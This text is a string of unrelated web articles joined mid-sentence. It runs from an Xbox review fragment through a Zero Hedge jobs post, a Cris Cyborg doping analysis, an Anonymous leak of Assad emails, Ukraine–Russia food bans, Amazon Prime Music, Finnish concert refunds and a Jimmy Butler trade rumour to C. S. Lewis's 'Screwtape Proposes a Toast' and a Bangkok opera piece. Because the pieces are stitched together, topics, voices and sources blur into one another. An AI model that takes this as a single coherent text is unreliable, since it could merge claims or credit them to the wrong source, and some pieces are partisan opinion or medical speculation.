issues of its predecessor, but what we're seeing doesn't justify Xbox One's high price point. Not yet, at least. "What surprises us is the lack of a Kinect killer app at launch. Its gaming credentials are damaged among the core and the only high profile Kinect title at launch is a Kinect Sports Rivals demo." A quick look at the Kinect Sports Rivals demo available on day one for Xbox One owners. We have analysis of both single-player and split-screen for you here.Back in December 2010 Zero Hedge was the first to point out what is easily the most troubling characteristic within America's evaporating labor force: its gradual transition to a part-time worker society. We elaborated on this back in February when we noted that the quality assessment of US jobs indicates that this most disturbing trend is accelerating. Finally, yesterday, the BLS' latest jobs report confirmed that our concerns have been valid all along: as of May, part-time jobs just as disclosed by the Bureau of Labor Statistics hit an all time high, over 28 million! These are people who traditionally have zero job benefits, including healthcare and retirement, and which according to the BLS "work less than 35 hours per week." In other words, as little as one hour per week of "work" is enough to classify one a part-time worker. More disturbing: the increase in part-time jobs in May compared to April: 618,000, or the fifth highest on record. It gets better: when added with the 508,000 increase in part-time jobs in April, this is the largest two month increase in part time-jobs in history. Which means of course that full time jobs in May must have declined: sure enough, at a -266,000 drop in full time jobs, the quality composition of the NFP report was just abysmal and makes any reported "increase" in those employed into a sad farce.
Part-time jobs:
Full-time jobs:
And the punchline: Part-time vs Full-time jobs:
Source: BLS
The chart above hardly needs further clarification: since the December 2007 start of the depression, full time jobs have declined by 6.9 million while part-time jobs have increased by 3.1 million.
Q.E.D.There’s a lot of information to parse as it relates to Cris Cyborg’s recent potential USADA violation, so step one is to break down everything we do and don’t know so far.On December 5th, 2016, Cyborg gave a sample to USADA which came back on December 22nd apparently positive for the banned diuretic Spironolactone. We do not know if Cris disclosed her use of the medication on the disclosure form at test time.
Cris did not apply for a TUE for the spironolactone, as her reps claim her doctor--who they say works with UFC and Olympic athletes regularly-- told her she didn’t need one.
Cris claims to have started the medication the Monday after her previous fight. Cris’s team have also previously claimed that she was so dehydrated on this day that her blood was too thick to be drawn, and that her weight cut caused kidney issues.
During her weight-cut, Cris complained about being on a birth control medication containing drospirenone, which acts as a mild, potassium-sparing diuretic. It is also completely legal for use and not banned at any time by WADA. Spironolactone, which Cris is now taking, is almost chemically identical to drospirenone and the two drugs have almost identical effects as it relates to their diuretic action, though spironolactone is considered to be markedly more powerful.
Spironolactone is specifically contraindicated for use in patients with decreased kidney function (meaning it shouldn't be prescribed to those patients unless there is no alternative, which isn't the case here), so if that claim is true, the decision to start her on spironolactone is a questionable one. As it stands, Cyborg did release a list of her medical conditions from the time, and there is no mention of kidney damage or dehydration at all. Here is the list.
CID E 87.6 - Potassium deficiency
CID 87.8 - Possibly electrolyte imbalance if it’s E 87.8, but can’t be sure without identifying letter. If no identifying letter means A, then A 87.8 is viral meningitis.
CID E 44.0 - Moderate protein-energy malnutrition (weight loss)
CID N 83.2 - Retention or simple cyst of ovary. Specifically not neoplastic, congenital or polycystic ovary syndrome.
CID I 15.9 - Unspecified secondary hypertension (high blood pressure).
CID Z 73.3 - Stress (physical and mental strain).
CID E 06.3 - Autoimmune thyroiditis
Some things immediately stand out here. Specifically, as she was taking drospirenone, it should have been very difficult for her to have a potassium deficiency. This suggests that she stopped taking the drospirenone suddenly, as many of her symptoms could be explained by this.
Drospirenone has several effects; on one side are the effects on female sex hormones which allows it to act as a birth control medication, on the other are the “side effects” of the drug, which give it diuretic properties by acting on the renin-angiotensin-aldosterone system (RAAS). Among other things, this helps remove fluid from the body while retaining potassium, reduce sodium in the body, and reduce blood pressure.
If Cris suddenly stopped taking drospirenone without properly accounting for that, it’s likely she would find her potassium levels decrease, and that she would start to retain fluid and salt, and her blood pressure would increase. Three of her symptoms are, in fact, low potassium. High blood pressure and electrolyte imbalance.
As Cris split with her nutrition coach immediately after her fight, it’s unlikely she would have had accurate advice available on how to adjust her diet and lifestyle properly to ensure her body remained in homeostasis when she stopped drospirenone.
In this instance, spironolactone, as a treatment, makes sense. As spironolactone has very similar effects to drospirenone--albeit more “severe” effects, as it’s a more powerful drug--it’s reasonable to use spironolactone to treat symptoms brought on by improper discontinuation of drospirenone.
However, this only makes sense if her claims about the effect of the weight cut were untrue or exaggerated. If Cris was, in fact, badly dehydrated that Monday, and if she had kidney damage from the weight cut, then putting her on spironolactone is a potentially dangerous course of action. It should be noted that her released medical records do not support her camp’s claim that she damaged her kidneys while cutting weight.
There are some other possibilities. Spironolactone has anti-androgenic effects and is sometimes prescribed to women with polycystic ovary syndrome (PCOS). This is because one of the side effects of PCOS can be increased male sex hormones, which leads to masculinizing effects such as increased body hair, hair thinning or loss and acne. While Cris does not appear to have PCOS, she does apparently have issues with non-PCOS ovarian cysts, and it’s possible they have a similar effect. If Cris has excess testosterone caused by the cysts, spironolactone could be used to control those side effects.
As spironolactone is useful in controlling androgenic side effects, its use is popular among female anabolic steroid users. In much the same way as male steroid users take aromatase inhibitors or selective estrogen receptor modulators to avoid feminizing side effects of steroid use, female users take spironolactone to avoid masculinizing side effects.
Spironolactone is classed under WADA as a diuretic and masking agent. It doesn’t have any inherent masking properties, however diuretics can be used to dilute the amount of any banned substance in the urine and can theoretically be used to slightly reduce the detection time by flushing the substance metabolites out of the system more quickly. That being said, as spironolactone itself is banned, using it for this purpose would be foolish at best.
It’s worth noting that outside of its ability to help a fighter make weight for a fight, or its use as an adjunct in anabolic steroid use, there is no real performance enhancing benefit of spironolactone. It would not help Cris train harder, or make her stronger or faster.
Spironolactone carries a 12-month base suspension under the UFC anti-doping code. Cris has stated that her team are currently applying for a retroactive TUE. Erik Magraken wrote a breakdown of what’s required for a retroactive TUE, which you should read here.
Cris’s team laid much of the blame for the situation at the feet of her doctor for not informing her she required a TUE, which could theoretically reduce her liability and thus her suspension under the UFC anti-doping program. To do so, Cris will likely have to prove that it was reasonable for her to rely solely on her doctor for this without checking herself, and the doctor will probably have to confirm that she wrongly informed Cyborg that she didn’t require a TUE.
As a result, I expect her to receive a suspension of 12 months, potentially reduced to as low as six months, assuming there’s no evidence of any other wrongdoing, or any suggestion that her spironolactone use was concomitant with other PEDs.Anonymous has released hundreds of e-mails after reportedly hacking into a mail server used by Syrian President Bashar al Assad's office, including one revealing how he was prepped for a much-publicized December interview with ABC's Barbara Walters.
The interview took place amid Syria's increasingly harsh crackdown against civilian protesters. During the interview, Assad repeatedly denied reports of civilian massacres, telling Walters "no government in the world kills its people, unless it's led by a crazy person."
Leaked documents: Part one
Leaked documents: Part two
But hacking group Anonymous, again showing its skill at accessing seemingly secure government Web sites, apparently broke into the Syrian Ministry of Presidential Affairs and got its hands on a trove of e-mails. Among other things, the e-mails reveal the back-and-forth between Assad's advisers discussing how their boss should handle the expected questions from Walters. (In many cases, the password that some employees used was "12345," according to Israeli newspaper Haaretz.)
"It is hugely important and worth mentioning that'mistakes' have been done in the beginning of the crises because we did not have a well-organized 'police force.' American psyche can be easily manipulated when they hear that there are'mistakes' done and now we are 'fixing it,'" Sheherazad Jaafari, a press attache at the Syrian mission to the United Nations, apparently wrote in one e-mail. "It's worth mentioning also what is happening now in Wall Street and the way the demonstrations are been suppressed by policemen, police dogs and beatings."
The press attache suggested that Assad tell Walters that "Syria doesn't have a policy to torture people, unlike the USA, where there are courses and schools that specialize in teaching policemen and officers how to torture."
Haaretz has the full story.The Ukrainian government has banned Russian food imports, in the latest round of a tit-for-tat trade war sparked by Kiev’s adoption of a trade deal with the European Union.
The ban on imports including beef, tobacco, chocolate, and alcohol products comes after Russia closed its own borders to a range of Ukrainian foods.
The embargo, which comes into force on January 10, will stay in place until August 5 or “until the cancellation of the ban on imports of agricultural products, food, and raw materials produced in Ukraine into the customs territory of the Russian Federation,” according to a decree signed by Arseniy Yatsenyuk, the Ukrainian prime minister.
Russia closed its borders to a range of Ukrainian meat, fish, dairy and vegetable products on Friday as part of pre-announced response to Ukraine's decision to implement a free trade pact with Brussels.
The pact, part of a wide-ranging association agreement with the European Union, will see Ukraine and Europe lift import tariffs to create a single free-trade zone.
Russia strongly opposed the free trade pact and says its ban on Ukrainian imports is necessary to protect its own internal markets.
Russian officials have also described the embargo as retaliation for Ukraine joining European economic sanctions designed to punish Russia for annexing Crimea and supporting the separatist war effort in eastern Ukraine.
Russia has imposed identical retaliatory embargoes on Western food products, closing its markets to cheese, meat, fish, and almost all fruit and vegetables from North America, the EU, Norway, and Australia.
Ukraine was originally due to sign an association agreement with the European Union in November 2013, but Viktor Yanukovych, the then president of Ukraine, backed out under pressure from Russia.
The U-turn sparked massive street protests in Kiev that eventually snowballed into a revolution which ousted Mr Yanukovych in February 2014. The country's parliament finally approved the association agreement in September the same year.
The Russian government denounced the revolution as a western-sponsored coup, and responded by annexing Crimea and fuelling an armed separatist uprising in eastern Ukraine.It looks like the rumors were true: Amazon has just launched Amazon Prime Music with a million-plus songs and unlimited streaming with no ads or restrictions. As we noted earlier, the service is free to Prime members (only in the US for now) who've paid $79 to $119 for a subscription, and Amazon clearly hopes that it'll be yet another carrot to lure new subscribers. You'll also be able to download music to listen offline, which will be available on Kindle Fire, iOS, Android |
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See A Comparison of Our Full Line of Body Armor:The country's Consumer Disputes Board made the ruling on Friday (July 3)
A new law in Finland reportedly entitles music fans to seek a refund if they’re disappointed by a live performance.
National Finnish broadcaster Yle has reported that the country’s Consumer Disputes Board ruled on Friday (July 3) that ticketholders can get a refund if a performance is “well below reasonably expected standards”.
The decision comes following an incident in Helsinki during 2013 when an attendee at a Chuck Berry concert demanded his money back after the legendary musician “seemed fatigued” during his performance.
Spokesperson Pauli Ståhlberg says: “Anyone seeking a ruling like this is always spurred by a subjective opinion, but that’s not enough to get a refund. What is significant is a generally agreed view that the concert was a failure, as it was in the Chuck Berry case.”
Ståhlberg also claims that the “issue of quality” is less relating to whether a performance is “good or bad by some objective measure” but “whether or not the performance meets the consumer’s expectations”.
Andy Ford/NME
Music festivals, however, are treated different because of the high amounts of varying acts.
Sharethrough (Mobile)
“There are numerous different performers at a festival and so it have to be evaluated as a whole,” Ståhlberg added. “Even the marching order affects perception of the overall quality. A failed performance by a featured star is a bigger deal for consumers than one by a warm-up band”.
https://link.brightcove.com/services/player/?bctid=4327014573001Here we go again.
Rival executives believe that the Chicago Bulls and Boston Celtics may renew discussions involving Jimmy Butler ahead of the trade deadline, league sources told K.C. Johnson of the Chicago Tribune.
As Johnson notes, the Celtics hold many of the same assets that were discussed when the two teams held talks near last season's draft.
Specifically, Jae Crowder, Marcus Smart, and Boston's bevy of future picks owed from the Brooklyn Nets remain possible pieces that could complete a trade package for Butler.
If Chicago wants to kick start a rebuild, cashing out Butler for Boston's future assets would make sense, although the Bulls might first want to move some of the supporting cast before uprooting their star.
Butler has three seasons remaining on a team friendly max contract signed under the old salary cap. The 27-year-old perennial All-Star will make roughly $19 million per season for the next three years. Adding Butler to an already stacked Celtics club could turn them into serious contenders in the Eastern Conference.
Should Butler be traded, however, he would no longer be in line to sign the designated player exception worth nearly $230 million in 2018. That could entice Butler to remain in Chicago, although the Bulls have waded through wave after wave of melodrama in recent years.
Despite the team turmoil, Butler is enjoying his best season to date. He is averaging 24.7 points, 6.6 rebounds, and 4.7 assists along with 1.8 steals per game. He was the 2014-15 Most Improved Player, he is a three-time All-Star, and has been named to the All-Defensive team in three-straight seasons.[Ed. Note: Here’s a little “diabolical ventriloquism” from C. S. Lewis. He means to have some tongue-in-cheek fun with modern-day educrats. What he ends giving us is a devastating critique of public “education,” “democracy,” culture — and ever so MUCH more than that…. I hope you’ll all enjoy figuring out what’s really going on here. — bb.]
Screwtape Proposes a Toast
(The scene is in Hell at the annual dinner of the Tempters’ Training College for young devils. The principal, Dr. Slubgob, has just proposed the health of the guests. Screwtape, a very experienced devil, who is the guest of honour, rises to reply:)
It is customary on these occasions for the speaker to address himself chiefly to those among you who have just graduated and who will very soon be posted to official Tempterships on Earth. It is a custom I willingly obey. I well remember with what trepidation I awaited my own first appointment. I hope, and believe, that each one of you has the same uneasiness tonight. Your career is before you. Hell expects and demands that it should be — as mine was — one of unbroken success. If it is not, you know what awaits you.
I have no wish to reduce the wholesome and realistic element of terror, the unremitting anxiety, which must act as the lash and spur to your endeavours. How often you will envy the humans their faculty of sleep! Yet at the same time I would wish to put before you a moderately encouraging view of the strategical situation as a whole.
Your dreaded Principal has included in a speech full of points something like an apology for the banquet which he has set before us. Well, gentledevils, no one blames him. But it would be in vain to deny that the human souls on whose anguish we have been feasting tonight were of pretty poor quality. Not all the most skillful cookery of our tormentors could make them better than insipid.
Oh, to get one’s teeth again into a Farinata, a Henry VIII, or even a Hitler! There was real crackling there; something to crunch; a rage, an egotism, a cruelty only just less robust than our own. It put up a delicious resistance to being devoured. It warmed your inwards when you’d got it down.
Instead of this, what have we had tonight? There was a municipal authority with Graft sauce. But personally I could not detect in him the flavour of a really passionate and brutal avarice such as delighted one in the great tycoons of the last century. Was he not unmistakably a Little Man — a creature of the petty rake-off pocketed with a petty joke in private and denied with the stalest platitudes in his public utterances — a grubby little nonentity who had drifted into corruption, only just realizing that he was corrupt, and chiefly because everyone else did it? Then there was the lukewarm Casserole of Adulterers. Could you find in it any trace of a fully inflamed, defiant, rebellious, insatiable lust? I couldn’t. They all tasted to me like undersexed morons who had blundered or trickled into the wrong beds in automatic response to sexy advertisements, or to make themselves feel modern and emancipated, or to reassure themselves about their virility or their “normalcy,” or even because they had nothing else to do. Frankly, to me who have tasted Messalina and Cassanova, they were nauseating. The Trade Unionist stuffed with sedition was perhaps a shade better. He had done some real harm. He had, not quite unknowingly, worked for bloodshed, famine, and the extinction of liberty. Yes, in a way. But what a way! He thought of those ultimate objectives so little. Toeing the party line, self-importance, and above all mere routine, were what really dominated his life.
But now comes the point. Gastronomically, all this is deplorable. But I hope none of us puts gastronomy first. Is it not, in another and far more serious way, full of hope and promise?
Consider, first, the mere quantity. The quality may be wretched; but we never had souls (of a sort) in more abundance.
And then the triumph. We are tempted to say that such souls — or such residual puddles of what once was soul — are hardly worth damning. Yes, but the Enemy (for whatever inscrutable and perverse reason) thought them worth trying to save. Believe me, He did. You youngsters who have not yet been on active duty have no idea with what labour, with what delicate skill, each of these miserable creatures was finally captured.
The difficulty lay in their very smallness and flabbiness. Here were vermin so muddled in mind, so passively responsive to environment, that it was very hard to raise them to that level of clarity and deliberateness at which mortal sin becomes possible. To raise them just enough; but not that fatal millimetre of “too much.” For then, of course, all would possibly have been lost. They might have seen; they might have repented. On the other hand, if they had been raised too little, they would very possibly have qualified for Limbo, as creatures suitable neither for Heaven nor for Hell; things that, having failed to make the grade, are allowed to sink into a more or less contented subhumanity forever.
In each individual choice of what the Enemy would call the “wrong” turning, such creatures are at first hardly, if at all, in a state of full spiritual responsibility. They do not understand either the source or the real character of the prohibitions they are breaking. Their consciousness hardly exists apart from the social atmosphere that surrounds them. And of course we have contrived that their very language should be all smudge and blur; what would be a bribe in someone else’s profession is a tip or a present in theirs. The job of their Tempters was first, or course, to harden these choices of the Hellward roads into a habit by steady repetition. But then (and this was all-important) to turn the habit into a principle — a principle the creature is prepared to defend. After that, all will go well. Conformity to the social environment, at first merely instinctive or even mechanical — how should a jelly not conform? — now becomes an unacknowledged creed or ideal of Togetherness or Being Like Folks. Mere ignorance of the law they break now turns into a vague theory about it — remember, they know no history — a theory expressed by calling it conventional or Puritan or bourgeois “morality.” Thus gradually there comes to exist at the center of the creature a hard, tight, settled core of resolution to go on being what it is, and even to resist moods that might tend to alter it. It is a very small core; not at all reflective (they are too ignorant) nor defiant (their emotional and imaginative poverty excludes that); almost, in its own way, prim and demure; like a pebble, or a very young cancer. But it will serve our turn. Here at last is a real and deliberate, though not fully articulate, rejection of what the Enemy calls Grace.
These, then, are two welcome phenomena. First, the abundance of our captures: however tasteless our fare, we are in no danger of famine. And secondly, the triumph: the skill of our Tempters has never stood higher. But the third moral, which I have not yet drawn, is the most important of all.
The sort of souls on whose despair and ruin we have — well, I won’t say feasted, but at any rate subsisted — tonight are increasing in numbers and will continue to increase. Our advices from Lower Command assure us that this is so; our directives warn us to orient all our tactics in view of this situation. The “great” sinners, those in whom vivid and genial passions have been pushed beyond the bounds and in whom an immense concentration of will has been devoted to objects which the Enemy abhors, will not disappear. But they will grow rarer. Our catches will be ever more numerous; but they will consist increasingly of trash — trash which we should once have thrown to Cerberus and the hellhounds as unfit for diabolical consumption. And there are two things I want you to understand about this: First, that however depressing it might seem, it is really a change for the better. And secondly, I would draw your attention to the means by which it has been brought about.
It is a change for the better. The great (and toothsome) sinners are made out of the very same material as those horrible phenomena the great Saints. The virtual disappearance of such material may mean insipid meals for us. But is it not utter frustration and famine for the Enemy? He did not create the humans — He did not become one of them and die among them by torture — in order to produce candidates for Limbo, “failed” humans. He wanted to make them Saints; gods; things like Himself. Is the dullness of your present fare not a very small price to pay for the delicious knowledge that His whole great experiment is petering out? But not only that. As the great sinners grow fewer, and the majority lose all individuality, the great sinners become far more effective agents for us. Every dictator or even demagogue — almost every film star or [rock star] — can now draw tens of thousands of the human sheep with him. They give themselves (what there is of them) to him; in him, to us. There may come a time when we shall have no need to bother about individual temptation at all, except for the few. Catch the bellwether, and his whole flock comes after him.
But do you realize how we have succeeded in reducing so many of the human race to the level of ciphers? This has not come about by accident. It has been our answer — and a magnificent answer it is — to one of the most serious challenges we ever had to face.
Let me recall to your minds what the human situation was in the latter half of the nineteenth century — the period at which I ceased to be a practising Tempter and was rewarded with an administrative post. The great movement toward liberty and equality among men had by then borne solid fruits and grown mature. Slavery had been abolished. The American War of Independence had been won. The French Revolution had succeeded. In that movement there had originally been many elements which were in our favour. Much Atheism, much Anticlericalism, much envy and thirst for revenge, even some (rather absurd) attempts to revive Paganism, were mixed in it. It was not easy to determine what our own attitude should be. On the one hand it was a bitter blow to us — it still is — that any sort of men who had been hungry should be fed or any who had long worn chains should have them struck off. But on the other hand, there was in the movement so much rejection of faith, so much materialism, secularism, and hatred, that we felt we were bound to encourage it.
But by the latter part of the century the situation was much simpler, and also much more ominous. In the English sector (where I saw most of my front-line service) a horrible thing had happened. The Enemy, with His usual sleight of hand, had largely appropriated this progressive or liberalizing movement and perverted it to His own ends. Very little of its old anti-Christianity remained. The dangerous phenomenon called Christian Socialism was rampant. Factory owners of the good old type who grew rich on sweated labor, instead of being assassinated by their workpeople — we could have used that — were being frowned upon by their own class. The rich were increasingly giving up their powers, not in the face of revolution and compulsion, but in obedience to their own consciences. As for the poor who benefited by this, they were behaving in a most disappointing fashion. Instead of using their new liberties — as we reasonably hoped and expected — for massacre, rape, and looting, or even for perpetual intoxication, they were perversely engaged in becoming cleaner, more orderly, more thrifty, better educated, and even more virtuous. Believe me, gentledevils, the threat of something like a really healthy state of society seemed then perfectly serious.
Thanks to Our Father Below, the threat was averted. Our counterattack was on two levels. On the deepest level our leaders contrived to call into full life an element which had been implicit in the movement from its earliest days. Hidden in the heart of this striving for Liberty there was also a deep hatred of personal freedom. That invaluable man Rousseau first revealed it. In his perfect democracy, only the state religion is permitted, slavery is restored, and the individual is told that he has really willed (though he didn’t know it) whatever the Government tells him to do. From that starting point, via Hegel (another indispensable propagandist on our side), we easily contrived both the Nazi and the Communist state. Even in England we were pretty successful. I heard the other day that in that country a man could not, without a permit, cut down his own tree with his own axe, make it into planks with his own saw, and use the planks to build a toolshed in his own garden.
Such was our counterattack on one level. You, who are mere beginners, will not be entrusted with work of that kind. You will be attached as Tempters to private persons. Against them, or through them, our counterattack takes a different form.
Democracy is the word with which you must lead them by the nose. The good work which our philological experts have already done in the corruption of human language makes it unnecessary to warn you that they should never be allowed to give this word a clear and definable meaning. They won’t. It will never occur to them that democracy is properly the name of a political system, even a system of voting, and that this has only the most remote and tenuous connection with what you are trying to sell them. Nor of course must they ever be allowed to raise Aristotle’s question: whether “democratic behaviour” means the behaviour that democracies like or the behaviour that will preserve a democracy. For if they did, it could hardly fail to occur to them that these need not be the same.
You are to use the word purely as an incantation; if you like, purely for its selling power. It is a name they venerate. And of course it is connected with the political ideal that men should be equally treated. You then make a stealthy transition in their minds from this political ideal to a factual belief that all men are equal. Especially the man you are working on. As a result you can use the word democracy to sanction in his thought the most degrading (and also the least enjoyable) of human feelings. You can get him to practise, not only without shame but with a positive glow of self-approval, conduct which, if undefended by the magic word, would be universally derided.
The feeling I mean is of course that which prompts a man to say I’m as good as you.
The first and most obvious advantage is that you thus induce him to enthrone at the centre of his life a good, solid, resounding lie. I don’t mean merely that his statement is false in fact, that he is no more equal to everyone he meets in kindness, honesty, and good sense than in height or waist measurement. I mean that he does not believe it himself. No man who says I’m as good as you believes it. He would not say it if he did. The St. Bernard never says it to the toy dog, nor the scholar to the dunce, nor the employable to the bum, nor the pretty woman to the plain. The claim to equality, outside the strictly political field, is made only by those who feel themselves to be in some way inferior. What it expresses is precisely the itching, smarting, writhing awareness of an inferiority which the patient refuses to accept.
And therefore resents. Yes, and therefore resents every kind of superiority in others; denigrates it; wishes its annihilation. Presently he suspects every mere difference of being a claim to superiority. No one must be different from himself in voice, clothes, manners, recreations, choice of food: “Here is someone who speaks English rather more clearly and euphoniously than I — it must be a vile, upstage, la-di-da affectation. Here’s a fellow who says he doesn’t like hot dogs — thinks himself too good for them, no doubt. Here’s a man who hasn’t turned on the jukebox — he’s one of those goddamn highbrows and is doing it to show off. If they were honest-to-God all-right Joes they’d be like me. They’ve no business to be different. It’s undemocratic.”
Now, this useful phenomenon is in itself by no means new. Under the name of Envy it has been known to humans for thousands of years. But hitherto they always regarded it as the most odious, and also the most comical, of vices. Those who were aware of feeling it felt it with shame; those who were not gave it no quarter in others. The delightful novelty of the present situation is that you can sanction it — make it respectable and even laudable — by the incantatory use of the word democratic.
Under the influence of this incantation those who are in any or every way inferior can labour more wholeheartedly and successfully than ever before to pull down everyone else to their own level. But that is not all. Under the same influence, those who come, or could come, nearer to a full humanity, actually draw back from fear of being undemocratic. I am credibly informed that young humans now sometimes suppress an incipient taste for classical music or good literature because it might prevent their Being Like Folks; that people who would really wish to be — and are offered the Grace which would enable them to be — honest, chaste, or temperate refuse it. To accept might make them Different, might offend against the Way of Life, take them out of Togetherness, impair their Integration with the Group. They might (horror of horrors!) become individuals.
All is summed up in the prayer which a young female human is said to have uttered recently: “O God, make me a normal twentieth century girl!” Thanks to our labours, this will mean increasingly: “Make me a minx, a moron, and a parasite.”
Meanwhile, as a delightful by-product, the few (fewer every day) who will not be made Normal or Regular and Like Folks and Integrated increasingly become in reality the prigs and cranks which the rabble would in any case have believed them to be. For suspicion often creates what it expects. (“Since, whatever I do, the neighbors are going to think me a witch, or a Communist agent, I might as well be hanged for a sheep as a lamb, and become one in reality.”) As a result we now have an intelligentsia which, though very small, is very useful to the cause of Hell.
But that is a mere by-product. What I want to fix your attention on is the vast, overall movement towards the discrediting, and finally the elimination, of every kind of human excellence – moral, cultural, social, or intellectual. And is it not pretty to notice how “democracy” (in the incantatory sense) is now doing for us the work that was once done by the most ancient Dictatorships, and by the same methods? You remember how one of the Greek Dictators (they called them “tyrants” then) sent an envoy to another Dictator to ask his advice about the principles of government. The second Dictator led the envoy into a field of grain, and there he snicked off with his cane the top of every stalk that rose an inch or so above the general level. The moral was plain. Allow no preeminence among your subjects. Let no man live who is wiser or better or more famous or even handsomer than the mass. Cut them all down to a level: all slaves, all ciphers, all nobodies. All equals. Thus Tyrants could practise, in a sense, “democracy.” But now “democracy” can do the same work without any tyranny other than her own. No one need now go through the field with a cane. The little stalks will now of themselves bite the tops off the big ones. The big ones are beginning to bite off their own in their desire to Be Like Stalks.
I have said that to secure the damnation of these little souls, these creatures that have almost ceased to be individual, is a laborious and tricky work. But if proper pains and skill are expended, you can be fairly confident of the result. The great sinners seem easier to catch. But then they are incalculable. After you have played them for seventy years, the Enemy may snatch them from your claws in the seventy-first. They are capable, you see, of real repentance. They are conscious of real guilt. They are, if things take the wrong turn, as ready to defy the social pressures around them for the Enemy’s sake as they were to defy them for ours. It is in some ways more troublesome to track and swat an evasive wasp than to shoot, at close range, a wild elephant. But the elephant is more troublesome if you miss.
My own experience, as I have said, was mainly on the English sector, and I still get more news from it than from any other. It may be said that what I am now going to say will not apply so fully to the sectors in which some of you may be operating. But you can make the necessary adjustments when you get there. Some application it will almost certainly have. If it has too little, you must labor to make the country you are dealing with more like what England already is.
In that promising land the spirit of I’m as good as you has already begun something more than a generally social influence. It begins to work itself into their educational system. How far its operations there have gone at the present moment, I should not like to say with certainty. Nor does it matter. Once you have grasped the tendency, you can easily predict its future developments; especially as we ourselves will play our part in the developing. The basic principle of the new education is to be that dunces and idlers must not be made to feel inferior to intelligent and industrious pupils. That would be “undemocratic.” These differences between pupils – for they are obviously and nakedly individual differences – must be disguised. This can be done at various levels. At universities, examinations must be framed so that nearly all the students get good marks. Entrance examinations must be framed so that all, or nearly all, citizens can go to universities, whether they have any power (or wish) to profit by higher education or not. At schools, the children who are too stupid or lazy to learn languages and mathematics and elementary science can be set to doing things that children used to do in their spare time. Let, them, for example, make mud pies and call it modelling. But all the time there must be no faintest hint that they are inferior to the children who are at work. Whatever nonsense they are engaged in must have – I believe the English already use the phrase – “parity of esteem.” An even more drastic scheme is not possible. Children who are fit to proceed to a higher class may be artificially kept back, because the others would get a trauma — Beelzebub, what a useful word! – by being left behind. The bright pupil thus remains democratically fettered to his own age group throughout his school career, and a boy who would be capable of tackling Aeschylus or Dante sits listening to his coeval’s attempts to spell out A CAT SAT ON A MAT.
In a word, we may reasonably hope for the virtual abolition of education when I’m as good as you has fully had its way. All incentives to learn and all penalties for not learning will be prevented; who are they to overtop their fellows? And anyway the teachers – or should I say, nurses? – will be far too busy reassuring the dunces and patting them on the back to waste any time on real teaching. We shall no longer have to plan and toil to spread imperturbable conceit and incurable ignorance among men. The little vermin themselves will do it for us.
Of course, this would not follow unless all education became state education. But it will. That is part of the same movement. Penal taxes, designed for that purpose, are liquidating the Middle Class, the class who were prepared to save and spend and make sacrifices in order to have their children privately educated. The removal of this class, besides linking up with the abolition of education, is, fortunately, an inevitable effect of the spirit that says I’m as good as you. This was, after all, the social group which gave to the humans the overwhelming majority of their scientists, physicians, philosophers, theologians, poets, artists, composers, architects, jurists, and administrators. If ever there were a bunch of stalks that needed their tops knocked off, it was surely they. As an English politician remarked not long ago, “A democracy does not want great men.”
It would be idle to ask of such a creature whether by want it meant “need” or “like.” But you had better be clear. For here Aristotle’s question comes up again.
We, in Hell, would welcome the disappearance of democracy in the strict sense of that word, the political arrangement so called. Like all forms of government, it often works to our advantage, but on the whole less often than other forms. And what we must realize is that “democracy” in the diabolical sense (I’m as good as you, Being Like Folks, Togetherness) is the fittest instrument we could possibly have for extirpating political democracies from the face of the earth.
For “democracy” or the “democratic spirit” (diabolical sense) leads to a nation without great men, a nation mainly of subliterates, full of the cocksureness which flattery breeds on ignorance, and quick to snarl or whimper at the first sign of criticism. And that is what Hell wishes every democratic people to be. For when such a nation meets in conflict a nation where children have been made to work at school, where talent is placed in high posts, and where the ignorant mass are allowed no say at all in public affairs, only one result is possible.
The democracies were surprised lately when they found that Russia had got ahead of them in science. What a delicious specimen of human blindness! If the whole tendency of their society is opposed to every sort of excellence, why did they expect their scientists to excel?
It is our function to encourage the behaviour, the manners, the whole attitude of mind, which democracies naturally like and enjoy, because these are the very things which, if unchecked, will destroy democracy. You would almost wonder that even humans don’t see it themselves. Even if they don’t read Aristotle (that would be undemocratic) you would have thought the French Revolution would have taught them that the behaviour aristocrats naturally like is not the behaviour that preserves aristocracy. They might then have applied the same principle to all forms of government.
But I would not end on that note. I would not – Hell forbid! Encourage in your own minds that delusion which you must carefully foster in the minds of your human victims. I mean the delusion that the fate of nations is in itself more important than that of individual souls. The overthrow of free peoples and the multiplication of slave states are for us a means (besides, of course, being fun); but the real end is the destruction of individuals. For only individuals can be saved or damned, can become sons of the Enemy or food for us. The ultimate value, for us, of any revolution, war, or famine lies in the individual anguish, treachery, hatred, rage, and despair which it may produce. I’m as good as you is a useful means for the destruction of democratic societies. But it has a far deeper value as an end in itself, as a state of mind which, necessarily excluding humility, charity, contentment, and all the pleasures of gratitude or admiration, turns a human being away from almost every road which might finally lead him to Heaven.
But now for the pleasantest part of my duty. It falls to my lot to propose on behalf of the guests the health of Principal Slubgob and the Tempters’ Training College. Fill your glasses. What is this I see? What is this delicious bouquet I inhale? Can it be? Mr. Principal, I unsay all my hard words about the dinner. I see, and smell, that even under wartime conditions the College cellar still has a few dozen of sound old vintage Well, well, well. This is like old times. Hold it beneath your noses for a moment, gentledevils. Hold it up to the light. Look at those fiery streaks that writhe and tangle in its dark heart, as if they were contending. And so they are. You know how this wine is blended? Different types of Pharisee have been harvested, trodden, and fermented together to produce its subtle flavour. Types that were most antagonistic to one another on Earth. Some were all rules and relics and rosaries; others were all drab clothes, long faces, and petty traditional abstinences from wine or cards or the theatre. Both had in common their self-righteousness and an almost infinite distance between their actual outlook and anything the Enemy really is or commands. The wickedness of other religions was the really live doctrine in the religion of each; slander was its gospel and denigration its litany. How they hated each other up where the sun shone! How much more they hate each other now that they are forever conjoined but not reconciled. Their astonishment, their resentment, at the combination, the festering of their eternally impenitent spite, passing into our spiritual digestion, will work like fire. Dark fire. All said and done, my friends, it will be an ill day for us if what most humans mean by “Religion” ever vanishes from the Earth. It can still send us the truly delicious sins. Nowhere do we tempt so successfully as on the very steps of the altar.
Your Imminence, your Disgraces, my Thorns, Shadies, and Gentledevils: I give you the toast of – Principal Slubgob and the College!
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Like this: Like Loading...BANGKOK — Sleep like dogs, eat like pigs, dress like angels.
This, in their own words, is the life of an itinerant Chinese opera singer. They are the Gypsies of Bangkok, hauling their stages, their costumes, their musical instruments, their hammocks and their cooking gear through the back streets of the city from one Chinese temple to the next.
They appear, in flamboyant costumes from another age, on dark alleys far from the city’s modern development, and once they have set up their stages, the streets echo with the clash of cymbals and gongs, the energetic beat of drums, and the extraordinary high-pitched screeches and squeals of Chinese opera.
